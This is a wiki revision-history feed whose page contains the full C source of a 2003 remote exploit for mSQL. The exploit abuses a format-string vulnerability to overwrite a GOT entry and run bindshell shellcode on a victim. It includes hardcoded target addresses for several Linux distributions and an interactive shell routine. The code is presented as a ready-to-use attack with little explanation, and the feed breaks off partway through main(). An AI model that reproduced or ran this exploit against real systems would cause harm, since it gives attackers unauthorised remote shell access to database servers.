<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=MiniSQL_%28mSQL%29_1.3_-_GID_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>MiniSQL (mSQL) 1.3 - GID 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=MiniSQL_%28mSQL%29_1.3_-_GID_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=MiniSQL_(mSQL)_1.3_-_GID_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T01:55:18Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=MiniSQL_(mSQL)_1.3_-_GID_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=2068&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; /*           _ ________            _____                        ______     __ ___ ____       /____.------`    /_______.------.___.----`  ___/____ _______...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=MiniSQL_(mSQL)_1.3_-_GID_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=2068&amp;oldid=prev"/>
		<updated>2021-05-03T12:35:26Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; /*           _ ________            _____                        ______     __ ___ ____       /____.------`    /_______.------.___.----`  ___/____ _______...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/*           _ ________            _____                        ______&lt;br /&gt;
    __ ___ ____       /____.------`    /_______.------.___.----`  ___/____ _______&lt;br /&gt;
         _/    \ _   /\   __.  __//   ___/_    ___.  /_\    /_    |     _/&lt;br /&gt;
   ___ ._\    . \\  /__  _____/ _    /     \_  |    /__      |   _| slc | _____ _&lt;br /&gt;
      - -------\______||--._____\---._______//-|__    //-.___|----._____||&lt;br /&gt;
					       / \   /&lt;br /&gt;
                                                   \/&lt;br /&gt;
[*] mSQL &amp;lt; remote gid root exploit    by lucipher &amp;amp; The Itch (netric)&lt;br /&gt;
   ------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
[*]  Exploits a format string hole in mSQL.&lt;br /&gt;
&lt;br /&gt;
[*] Some functions are taken from mSQL's sourcecode&lt;br /&gt;
&lt;br /&gt;
    Copyright (c) 2003 Netric Security and lucipher&lt;br /&gt;
    All rights reserved.&lt;br /&gt;
&lt;br /&gt;
    THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED&lt;br /&gt;
    WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF&lt;br /&gt;
    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;	/* required by fatal() */&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdarg.h&amp;gt;	/* required by fatal() */&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/time.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;time.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;
#include &amp;lt;netdb.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;	/* required by errno */&lt;br /&gt;
#include &amp;lt;getopt.h&amp;gt;	/* required by getopt() */&lt;br /&gt;
#include &amp;lt;signal.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define PKT_LEN		(128*1024)&lt;br /&gt;
#define ERR_BUF_LEN     200&lt;br /&gt;
#define resetError()    bzero(msqlErrMsg,sizeof(msqlErrMsg))&lt;br /&gt;
#define chopError()     { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; \&lt;br /&gt;
                                if (*cp == '\n') *cp = 0;}&lt;br /&gt;
&lt;br /&gt;
#define NET_READ(fd,b,l)	read(fd,b,l)&lt;br /&gt;
#define NET_WRITE(fd,b,l)	write(fd,b,l)&lt;br /&gt;
&lt;br /&gt;
#define SERVER_GONE_ERROR	&amp;quot;server has gone...\n&amp;quot;&lt;br /&gt;
#define UNKNOWN_ERROR		&amp;quot;foo!&amp;quot;  &lt;br /&gt;
&lt;br /&gt;
static char msqlErrMsg[200];&lt;br /&gt;
static u_char packetBuf[PKT_LEN + 4];&lt;br /&gt;
static int readTimeout;&lt;br /&gt;
u_char *packet = NULL;&lt;br /&gt;
&lt;br /&gt;
int netReadPacket(int fd);&lt;br /&gt;
int netWritePacket(int fd);&lt;br /&gt;
&lt;br /&gt;
/* bindshell shellcode */&lt;br /&gt;
char linux_code[78] = /* binds on port 26112 */&lt;br /&gt;
        &amp;quot;\x31\xdb\xf7\xe3\x53\x43\x53&amp;quot;&lt;br /&gt;
        &amp;quot;\x6a\x02\x89\xe1\xb0\x66\x52&amp;quot;&lt;br /&gt;
        &amp;quot;\x50\xcd\x80\x43\x66\x53\x89&amp;quot;&lt;br /&gt;
        &amp;quot;\xe1\x6a\x10\x51\x50\x89\xe1&amp;quot;&lt;br /&gt;
        &amp;quot;\x52\x50\xb0\x66\xcd\x80\x89&amp;quot;&lt;br /&gt;
        &amp;quot;\xe1\xb3\x04\xb0\x66\xcd\x80&amp;quot;&lt;br /&gt;
        &amp;quot;\x43\xb0\x66\xcd\x80\x89\xd9&amp;quot;&lt;br /&gt;
        &amp;quot;\x93\xb0\x3f\xcd\x80\x49\x79&amp;quot;&lt;br /&gt;
        &amp;quot;\xf9\x52\x68\x6e\x2f\x73\x68&amp;quot;&lt;br /&gt;
        &amp;quot;\x68\x2f\x2f\x62\x69\x89\xe3&amp;quot;&lt;br /&gt;
        &amp;quot;\x52\x53\x89\xe1\xb0\x0b\xcd&amp;quot;&lt;br /&gt;
        &amp;quot;\x80&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
static void intToBuf(cp, val)&lt;br /&gt;
u_char *cp;&lt;br /&gt;
int val;&lt;br /&gt;
{&lt;br /&gt;
        *cp++ = (unsigned int) (val &amp;amp; 0x000000ff);&lt;br /&gt;
        *cp++ = (unsigned int) (val &amp;amp; 0x0000ff00) &amp;gt;&amp;gt; 8;&lt;br /&gt;
        *cp++ = (unsigned int) (val &amp;amp; 0x00ff0000) &amp;gt;&amp;gt; 16;&lt;br /&gt;
        *cp++ = (unsigned int) (val &amp;amp; 0xff000000) &amp;gt;&amp;gt; 24;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static int bufToInt(cp)&lt;br /&gt;
u_char *cp;&lt;br /&gt;
{&lt;br /&gt;
        int val;&lt;br /&gt;
&lt;br /&gt;
        val = 0;&lt;br /&gt;
        val = *cp++;&lt;br /&gt;
        val += ((int) *cp++) &amp;lt;&amp;lt; 8;&lt;br /&gt;
        val += ((int) *cp++) &amp;lt;&amp;lt; 16;&lt;br /&gt;
        val += ((int) *cp++) &amp;lt;&amp;lt; 24;&lt;br /&gt;
        return (val);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int netWritePacket(fd)&lt;br /&gt;
int fd;&lt;br /&gt;
{&lt;br /&gt;
        int len, offset, remain, numBytes;&lt;br /&gt;
&lt;br /&gt;
        len = strlen((char *) packet);&lt;br /&gt;
        intToBuf(packetBuf, len);&lt;br /&gt;
        offset = 0;&lt;br /&gt;
        remain = len + 4;&lt;br /&gt;
        while (remain &amp;gt; 0) {&lt;br /&gt;
                numBytes = NET_WRITE(fd, packetBuf + offset, remain);&lt;br /&gt;
                if (numBytes == -1) {&lt;br /&gt;
                        return (-1);&lt;br /&gt;
                }&lt;br /&gt;
                offset += numBytes;&lt;br /&gt;
                remain -= numBytes;&lt;br /&gt;
        }&lt;br /&gt;
        return (0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int netReadPacket(fd)&lt;br /&gt;
int fd;&lt;br /&gt;
{&lt;br /&gt;
        u_char buf[4];&lt;br /&gt;
        int len, remain, offset, numBytes;&lt;br /&gt;
&lt;br /&gt;
        remain = 4;&lt;br /&gt;
        offset = 0;&lt;br /&gt;
        numBytes = 0;&lt;br /&gt;
        readTimeout = 0;&lt;br /&gt;
        while (remain &amp;gt; 0) {&lt;br /&gt;
                /*&lt;br /&gt;
                 ** We can't just set an alarm here as on lots of boxes&lt;br /&gt;
                 ** both read and recv are non-interuptable.  So, we&lt;br /&gt;
                 ** wait till there something to read before we start&lt;br /&gt;
                 ** reading in the server (not the client)&lt;br /&gt;
                 */&lt;br /&gt;
                if (!readTimeout) {&lt;br /&gt;
                        numBytes = NET_READ(fd, buf + offset, remain);&lt;br /&gt;
                        if (numBytes &amp;lt; 0 &amp;amp;&amp;amp; errno != EINTR) {&lt;br /&gt;
                                fprintf(stderr,&lt;br /&gt;
                                        &amp;quot;Socket read on %d for length failed : &amp;quot;,&lt;br /&gt;
                                        fd);&lt;br /&gt;
&lt;br /&gt;
                                perror(&amp;quot;&amp;quot;);&lt;br /&gt;
                        }&lt;br /&gt;
                        if (numBytes &amp;lt;= 0)&lt;br /&gt;
                                return (-1);&lt;br /&gt;
                }&lt;br /&gt;
                if (readTimeout)&lt;br /&gt;
                        break;&lt;br /&gt;
                remain -= numBytes;&lt;br /&gt;
                offset += numBytes;&lt;br /&gt;
&lt;br /&gt;
        }&lt;br /&gt;
        len = bufToInt(buf);&lt;br /&gt;
        if (len &amp;gt; PKT_LEN) {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Packet too large (%d)\n&amp;quot;, len);&lt;br /&gt;
                return (-1);&lt;br /&gt;
        }&lt;br /&gt;
        if (len &amp;lt; 0) {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Malformed packet\n&amp;quot;);&lt;br /&gt;
                return (-1);&lt;br /&gt;
        }&lt;br /&gt;
        remain = len;&lt;br /&gt;
        offset = 0;&lt;br /&gt;
        while (remain &amp;gt; 0) {&lt;br /&gt;
                numBytes = NET_READ(fd, packet + offset, remain);&lt;br /&gt;
&lt;br /&gt;
                if (numBytes &amp;lt;= 0) {&lt;br /&gt;
                        return (-1);&lt;br /&gt;
                }&lt;br /&gt;
                remain -= numBytes;&lt;br /&gt;
                offset += numBytes;&lt;br /&gt;
        }&lt;br /&gt;
        *(packet + len) = 0;&lt;br /&gt;
        return (len);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int msqlSelectDB(int sock, char *db)&lt;br /&gt;
{&lt;br /&gt;
        memset(msqlErrMsg, 0x0, sizeof(msqlErrMsg));&lt;br /&gt;
&lt;br /&gt;
        packet = packetBuf+4;&lt;br /&gt;
&lt;br /&gt;
        snprintf(packet, PKT_LEN, &amp;quot;%d:%s\n&amp;quot;, 2, db);&lt;br /&gt;
        netWritePacket(sock);&lt;br /&gt;
        if (netReadPacket(sock) &amp;lt;= 0) {&lt;br /&gt;
                strcpy(msqlErrMsg, SERVER_GONE_ERROR);&lt;br /&gt;
                return (-1);&lt;br /&gt;
        }&lt;br /&gt;
        if (atoi(packet) == -1) {&lt;br /&gt;
                char *cp;&lt;br /&gt;
&lt;br /&gt;
                cp = (char *) index(packet, ':');&lt;br /&gt;
                if (cp) {&lt;br /&gt;
                        strcpy(msqlErrMsg, cp + 1);&lt;br /&gt;
                        chopError();&lt;br /&gt;
                } else {&lt;br /&gt;
                        strcpy(msqlErrMsg, UNKNOWN_ERROR);&lt;br /&gt;
                }&lt;br /&gt;
                return (-1);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        return (0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
struct target {&lt;br /&gt;
	char *name;			/* target description */&lt;br /&gt;
	unsigned long writeaddr;	/* mSQL's errMsg + 18 + 8 address */&lt;br /&gt;
	unsigned long smashaddr;	/* strcpy's GOT address */&lt;br /&gt;
	unsigned long pops;		/* number of stack pops */&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
/* high and low words indexers */&lt;br /&gt;
enum { hi, lo };&lt;br /&gt;
&lt;br /&gt;
/* default values. */&lt;br /&gt;
struct target targets[] = {&lt;br /&gt;
	/* name                         write      smash       pops */&lt;br /&gt;
	{ &amp;quot;SlackWare 8.1 - mSQL 3.0p1&amp;quot;, 0x80a169a, 0x080751ec, 113 },&lt;br /&gt;
	{ &amp;quot;Debian 3.0 - mSQL 3.0p1&amp;quot;, 134879034, 0x08075224, 113 },&lt;br /&gt;
	{ &amp;quot;RedHat 8.0 - mSQL 3.0p1&amp;quot;, 0x804b778, 0x08074c1c, 115 },&lt;br /&gt;
	{ &amp;quot;RedHat 8.0 (II) - mSQL 3.0p1&amp;quot;, 0x804b778, 0x08074c1c, 116 },&lt;br /&gt;
	{ NULL, 0x0, 0x0, 0 }&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
void fatal(char *fmt, ...)&lt;br /&gt;
{&lt;br /&gt;
        char buffer[1024];&lt;br /&gt;
        va_list ap;&lt;br /&gt;
&lt;br /&gt;
        va_start(ap, fmt);&lt;br /&gt;
        vsnprintf(buffer, sizeof (buffer) - 1, fmt, ap);&lt;br /&gt;
        va_end(ap);&lt;br /&gt;
&lt;br /&gt;
        fprintf(stderr, &amp;quot;%s&amp;quot;, buffer);&lt;br /&gt;
        exit(1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* resolve a given hostname */&lt;br /&gt;
unsigned long tcp_resolv(char *hostname)&lt;br /&gt;
{&lt;br /&gt;
        struct hostent *he;&lt;br /&gt;
        unsigned long addr;&lt;br /&gt;
        int n;&lt;br /&gt;
&lt;br /&gt;
        he = gethostbyname(hostname);&lt;br /&gt;
        if (he == NULL) {&lt;br /&gt;
                n = inet_aton(hostname, (struct in_addr *) addr);&lt;br /&gt;
                if (n &amp;lt; 0)&lt;br /&gt;
                        fatal(&amp;quot;inet_aton: %s\n&amp;quot;, strerror(errno));&lt;br /&gt;
&lt;br /&gt;
                return addr;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        return *(unsigned long *) he-&amp;gt;h_addr;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* routine to open a tcp/ip connection */&lt;br /&gt;
int tcp_connect(char *hostname, int port)&lt;br /&gt;
{&lt;br /&gt;
        struct sockaddr_in sin;&lt;br /&gt;
        int fd, n;&lt;br /&gt;
&lt;br /&gt;
        sin.sin_addr.s_addr = tcp_resolv(hostname);&lt;br /&gt;
        sin.sin_family = AF_INET;&lt;br /&gt;
        sin.sin_port = htons(port);&lt;br /&gt;
&lt;br /&gt;
        fd = socket(AF_INET, SOCK_STREAM, 6);&lt;br /&gt;
        if (fd &amp;lt; 0)&lt;br /&gt;
                return -1;&lt;br /&gt;
&lt;br /&gt;
        n = connect(fd, (struct sockaddr *) &amp;amp;sin, sizeof (sin));&lt;br /&gt;
        if (n &amp;lt; 0)&lt;br /&gt;
                return -1;&lt;br /&gt;
&lt;br /&gt;
        return fd;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int msql_login(char *hostname, unsigned short int port)&lt;br /&gt;
{&lt;br /&gt;
	char buffer[300], *p;&lt;br /&gt;
	int fd, n, opt;&lt;br /&gt;
&lt;br /&gt;
	fd = tcp_connect(hostname, port);&lt;br /&gt;
	if (fd &amp;lt; 0)&lt;br /&gt;
		fatal(&amp;quot;[-] couldn't connect to host %s:%u\n&amp;quot;, hostname, port);&lt;br /&gt;
&lt;br /&gt;
	setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, (char *) &amp;amp;opt, 4);&lt;br /&gt;
&lt;br /&gt;
	memset(&amp;amp;buffer, 0x0, sizeof(buffer));&lt;br /&gt;
	n = read(fd, &amp;amp;buffer, sizeof(buffer) - 1);&lt;br /&gt;
	if (n &amp;lt; 0)&lt;br /&gt;
		fatal(&amp;quot;[-] could not read socket: %s\n&amp;quot;, strerror(errno));&lt;br /&gt;
&lt;br /&gt;
	p = (char *)&amp;amp;buffer + 4;&lt;br /&gt;
	if (atoi(p) == -1)&lt;br /&gt;
		fatal(&amp;quot;[-] bad handshake received.\n&amp;quot;);&lt;br /&gt;
	p++;&lt;br /&gt;
	if (*p != ':') p++;&lt;br /&gt;
	p++;&lt;br /&gt;
	if (*p &amp;gt;= '1' &amp;amp;&amp;amp; *p &amp;lt;= '3') {&lt;br /&gt;
		/* send buffer size within packet. */&lt;br /&gt;
		buffer[0] = (unsigned int) (5UL &amp;amp; 0x000000ff);&lt;br /&gt;
		buffer[1] = (unsigned int) (5UL &amp;amp; 0x0000ff00) &amp;gt;&amp;gt; 8;&lt;br /&gt;
		buffer[2] = (unsigned int) (5UL &amp;amp; 0x00ff0000) &amp;gt;&amp;gt; 16;&lt;br /&gt;
		buffer[3] = (unsigned int) (5UL &amp;amp; 0xff000000) &amp;gt;&amp;gt; 24;&lt;br /&gt;
		/* sorta like our login. */&lt;br /&gt;
		buffer[4] = 'r';&lt;br /&gt;
		buffer[5] = 'o';&lt;br /&gt;
		buffer[6] = 'o';&lt;br /&gt;
		buffer[7] = 't';&lt;br /&gt;
		buffer[8] = '\n';&lt;br /&gt;
		buffer[9] = '\0';&lt;br /&gt;
&lt;br /&gt;
		write(fd, buffer, 9);	&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	n = read(fd, buffer, sizeof(buffer) - 1);&lt;br /&gt;
	if (n &amp;lt; 0)&lt;br /&gt;
		fatal(&amp;quot;[-] client failed in handshake.\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	printf(&amp;quot;[+] connected to %s -&amp;gt; %u\n&amp;quot;, hostname, port);&lt;br /&gt;
	return fd;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void msql_selectdb(int fd, char *database)&lt;br /&gt;
{&lt;br /&gt;
	unsigned char buffer[300];&lt;br /&gt;
	unsigned int len;&lt;br /&gt;
&lt;br /&gt;
	len = 117;&lt;br /&gt;
	buffer[0] = (unsigned char)(len &amp;amp; 0x000000ff);&lt;br /&gt;
	buffer[1] = (unsigned char)(len &amp;amp; 0x0000ff00) &amp;gt;&amp;gt; 8;&lt;br /&gt;
	buffer[2] = (unsigned char)(len &amp;amp; 0x00ff0000) &amp;gt;&amp;gt; 16;&lt;br /&gt;
	buffer[3] = (unsigned char)(len &amp;amp; 0xff000000) &amp;gt;&amp;gt; 24;&lt;br /&gt;
&lt;br /&gt;
	snprintf(&amp;amp;buffer[4], sizeof(buffer) - 1, &amp;quot;2:%s\n&amp;quot;, database);&lt;br /&gt;
	len = write(fd, &amp;amp;buffer[0], len);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void shell(int fd)&lt;br /&gt;
{&lt;br /&gt;
	char buf[512];&lt;br /&gt;
	fd_set rfds;&lt;br /&gt;
	int l;&lt;br /&gt;
&lt;br /&gt;
	write(fd, &amp;quot;id ; uname -a\n&amp;quot;, 14);&lt;br /&gt;
	while (1) {&lt;br /&gt;
		FD_SET(0, &amp;amp;rfds);&lt;br /&gt;
		FD_SET(fd, &amp;amp;rfds);&lt;br /&gt;
		select(fd + 1, &amp;amp;rfds, NULL, NULL, NULL);&lt;br /&gt;
&lt;br /&gt;
		if (FD_ISSET(0, &amp;amp;rfds)) {&lt;br /&gt;
			l = read(0, buf, sizeof (buf));&lt;br /&gt;
			if (l &amp;lt;= 0) {&lt;br /&gt;
				perror(&amp;quot;read user&amp;quot;);&lt;br /&gt;
				exit(EXIT_FAILURE);&lt;br /&gt;
			}&lt;br /&gt;
			write(fd, buf, l);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (FD_ISSET(fd, &amp;amp;rfds)) {&lt;br /&gt;
			l = read(fd, buf, sizeof (buf));&lt;br /&gt;
			if (l == 0) {&lt;br /&gt;
				fatal(&amp;quot;connection closed by foreign host.\n&amp;quot;);&lt;br /&gt;
			} else if (l &amp;lt; 0) {&lt;br /&gt;
				perror(&amp;quot;read remote&amp;quot;);&lt;br /&gt;
				exit (EXIT_FAILURE);&lt;br /&gt;
			}&lt;br /&gt;
			write(1, buf, l);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void usage(void)&lt;br /&gt;
{&lt;br /&gt;
	fprintf(stderr, &amp;quot;mSQLexploit\n\n&amp;quot;);&lt;br /&gt;
	fprintf(stderr, &amp;quot;  -l\t\tlist available targets.\n&amp;quot;);&lt;br /&gt;
	fprintf(stderr, &amp;quot;  -t target\ttarget selection.\n&amp;quot;);&lt;br /&gt;
	fprintf(stderr, &amp;quot; *** MANUAL ATTACK ***\n&amp;quot;);&lt;br /&gt;
	fprintf(stderr, &amp;quot;  -s [addr]\tsmash address.\n&amp;quot;);&lt;br /&gt;
	fprintf(stderr, &amp;quot;  -w [addr]\twrite address.\n&amp;quot;);&lt;br /&gt;
	fprintf(stderr, &amp;quot;  -p [num]\tnumber of pops.\n&amp;quot;);&lt;br /&gt;
	exit(1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
	struct target manual;&lt;br /&gt;
	struct target *target = NULL;&lt;br /&gt;
	unsigned short port = 0, addr[2];&lt;br /&gt;
	unsigned char split[4];&lt;br /&gt;
	char *hostname, buffer[200];&lt;br /&gt;
	int fd, opt;&lt;br /&gt;
&lt;br /&gt;
	if (argc &amp;lt;= 1)&lt;br /&gt;
		usage();&lt;br /&gt;
&lt;br /&gt;
	memset(&amp;amp;manual, 0x00, sizeof(struct target));&lt;br /&gt;
	while ((opt = getopt(argc, argv, &amp;quot;lht:s:w:p:&amp;quot;)) != EOF) {&lt;br /&gt;
		switch (opt) {&lt;br /&gt;
		case 't': /* pre-written target selection */&lt;br /&gt;
			target = &amp;amp;targets[atoi(optarg)];&lt;br /&gt;
			break;&lt;br /&gt;
		case 'l': &lt;br /&gt;
			{&lt;br /&gt;
			int i;&lt;br /&gt;
			/* iterate through the list of targets and display. */&lt;br /&gt;
			for (i = 0; targets[i].name; i++)&lt;br /&gt;
				printf(&amp;quot;[%d] %s\n&amp;quot;, i, targets[i].name);&lt;br /&gt;
&lt;br /&gt;
			exit(1);&lt;br /&gt;
			}&lt;br /&gt;
		case 'h':&lt;br /&gt;
			/* print exploit usage information */&lt;br /&gt;
			usage();&lt;br /&gt;
			break; /* never reached */&lt;br /&gt;
		case 's':&lt;br /&gt;
			if (target == NULL)&lt;br /&gt;
				target = &amp;amp;manual;&lt;br /&gt;
&lt;br /&gt;
			target-&amp;gt;name = &amp;quot;Manual Target&amp;quot;;&lt;br /&gt;
			target-&amp;gt;smashaddr = strtoul(optarg, NULL, 16);&lt;br /&gt;
			break;&lt;br /&gt;
		case 'w':&lt;br /&gt;
			if (target == NULL)&lt;br /&gt;
				target = &amp;amp;manual;&lt;br /&gt;
&lt;br /&gt;
			target-&amp;gt;name = &amp;quot;Manual Target&amp;quot;;&lt;br /&gt;
			target-&amp;gt;writeaddr = strtoul(optarg, NULL, 16) + 0x1a;&lt;br /&gt;
			break;&lt;br /&gt;
		case 'p':&lt;br /&gt;
			if (target == NULL)&lt;br /&gt;
				target = &amp;amp;manual;&lt;br /&gt;
			target-&amp;gt;name = &amp;quot;Manual Target&amp;quot;;&lt;br /&gt;
			target-&amp;gt;pops = atoi(optarg);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	argc -= optind;&lt;br /&gt;
	argv += optind;&lt;br /&gt;
&lt;br /&gt;
	if (argc &amp;lt;= 0) {&lt;br /&gt;
		fatal(&amp;quot;choose a hostname and optionally a port\n&amp;quot;);&lt;br /&gt;
	} else if (argc == 1) {&lt;br /&gt;
		hostname = argv[0];&lt;br /&gt;
	} else {&lt;br /&gt;
		hostname = argv[0];&lt;br /&gt;
		port = atoi(argv[1]) &amp;amp; 0xff;&lt;br /&gt;
	}&lt;br /&gt;
	if (target != NULL) {&lt;br /&gt;
		if (!strncmp(target-&amp;gt;name, &amp;quot;Manual&amp;quot;, 6))&lt;br /&gt;
			if (!target-&amp;gt;smashaddr || !target-&amp;gt;writeaddr || &lt;br /&gt;
			    !target-&amp;gt;pops)&lt;br /&gt;
				fatal(&amp;quot;exploit requires pop count and &amp;quot;&lt;br /&gt;
				&amp;quot;smash, write addresses: use -p and -w and -s &amp;quot;&lt;br /&gt;
				&amp;quot;to set them\n&amp;quot;);&lt;br /&gt;
	} else {&lt;br /&gt;
		target = &amp;amp;target[0];&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	printf(&amp;quot;[+] attacking %s -&amp;gt; %u\n&amp;quot;, hostname, (port) ? port : 1114);&lt;br /&gt;
&lt;br /&gt;
	fd = msql_login(hostname, (port) ? port : 1114);&lt;br /&gt;
&lt;br /&gt;
	printf(&amp;quot;[+] name %s\n&amp;quot;, target-&amp;gt;name);&lt;br /&gt;
	printf(&amp;quot;[+] smash %08lx\n&amp;quot;, target-&amp;gt;smashaddr);&lt;br /&gt;
	printf(&amp;quot;[+] write %08lx\n&amp;quot;, target-&amp;gt;writeaddr);&lt;br /&gt;
	printf(&amp;quot;[+] Now building string...\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	memset(&amp;amp;buffer, 0x0, sizeof(buffer));&lt;br /&gt;
&lt;br /&gt;
	addr[lo] = (target-&amp;gt;writeaddr &amp;amp; 0x0000ffff);&lt;br /&gt;
	addr[hi] = (target-&amp;gt;writeaddr &amp;amp; 0xffff0000) &amp;gt;&amp;gt; 16;&lt;br /&gt;
&lt;br /&gt;
	/* split the address */&lt;br /&gt;
	split[0] = (target-&amp;gt;smashaddr &amp;amp; 0xff000000) &amp;gt;&amp;gt; 24;&lt;br /&gt;
	split[1] = (target-&amp;gt;smashaddr &amp;amp; 0x00ff0000) &amp;gt;&amp;gt; 16;&lt;br /&gt;
	split[2] = (target-&amp;gt;smashaddr &amp;amp; 0x0000ff00) &amp;gt;&amp;gt; 8;&lt;br /&gt;
	split[3] = (target-&amp;gt;smashaddr &amp;amp; 0x000000ff);&lt;br /&gt;
&lt;br /&gt;
	/* build the format string */&lt;br /&gt;
	if (addr[hi] &amp;lt; addr[lo])&lt;br /&gt;
		snprintf(buffer, sizeof(buffer),&lt;br /&gt;
				&amp;quot;%c%c%c%c&amp;quot;&lt;br /&gt;
				&amp;quot;%c%c%c%c&amp;quot;&lt;br /&gt;
&lt;br /&gt;
				&amp;quot;%s&amp;quot;&lt;br /&gt;
&lt;br /&gt;
				&amp;quot;%%.%du%%%ld$hn&amp;quot;&lt;br /&gt;
				&amp;quot;%%.%du%%%ld$hn&amp;quot;,&lt;br /&gt;
			&lt;br /&gt;
				split[3] + 2, split[2], split[1], split[0],&lt;br /&gt;
				split[3], split[2], split[1], split[0],&lt;br /&gt;
				linux_code,&lt;br /&gt;
				addr[hi] - 0x68, target-&amp;gt;pops, &lt;br /&gt;
				addr[lo] - addr[hi], target-&amp;gt;pops + 1);&lt;br /&gt;
	else &lt;br /&gt;
		snprintf(buffer, sizeof(buffer),&lt;br /&gt;
                                &amp;quot;%c%c%c%c&amp;quot;&lt;br /&gt;
                                &amp;quot;%c%c%c%c&amp;quot;&lt;br /&gt;
&lt;br /&gt;
                                &amp;quot;%s&amp;quot;&lt;br /&gt;
&lt;br /&gt;
                                &amp;quot;%%.%du%%%ld$hn&amp;quot;&lt;br /&gt;
                                &amp;quot;%%.%du%%%ld$hn&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
                                split[3] + 2, split[2], split[1], split[0],&lt;br /&gt;
                                split[3], split[2], split[1], split[0],&lt;br /&gt;
                                linux_code,&lt;br /&gt;
                                addr[lo] - 0x68, target-&amp;gt;pops,&lt;br /&gt;
                                addr[hi] - addr[lo], target-&amp;gt;pops + 1);&lt;br /&gt;
	&lt;br /&gt;
	printf(&amp;quot;[+] Trying to exploit...\n&amp;quot;);&lt;br /&gt;
	msqlSelectDB(fd, buffer);&lt;br /&gt;
	switch (opt = fork()) {&lt;br /&gt;
	case 0: &lt;br /&gt;
		msqlSelectDB(fd, buffer);&lt;br /&gt;
		exit(1);&lt;br /&gt;
	case -1:&lt;br /&gt;
		fatal(&amp;quot;[-] failed fork()!\n&amp;quot;);&lt;br /&gt;
	default:&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
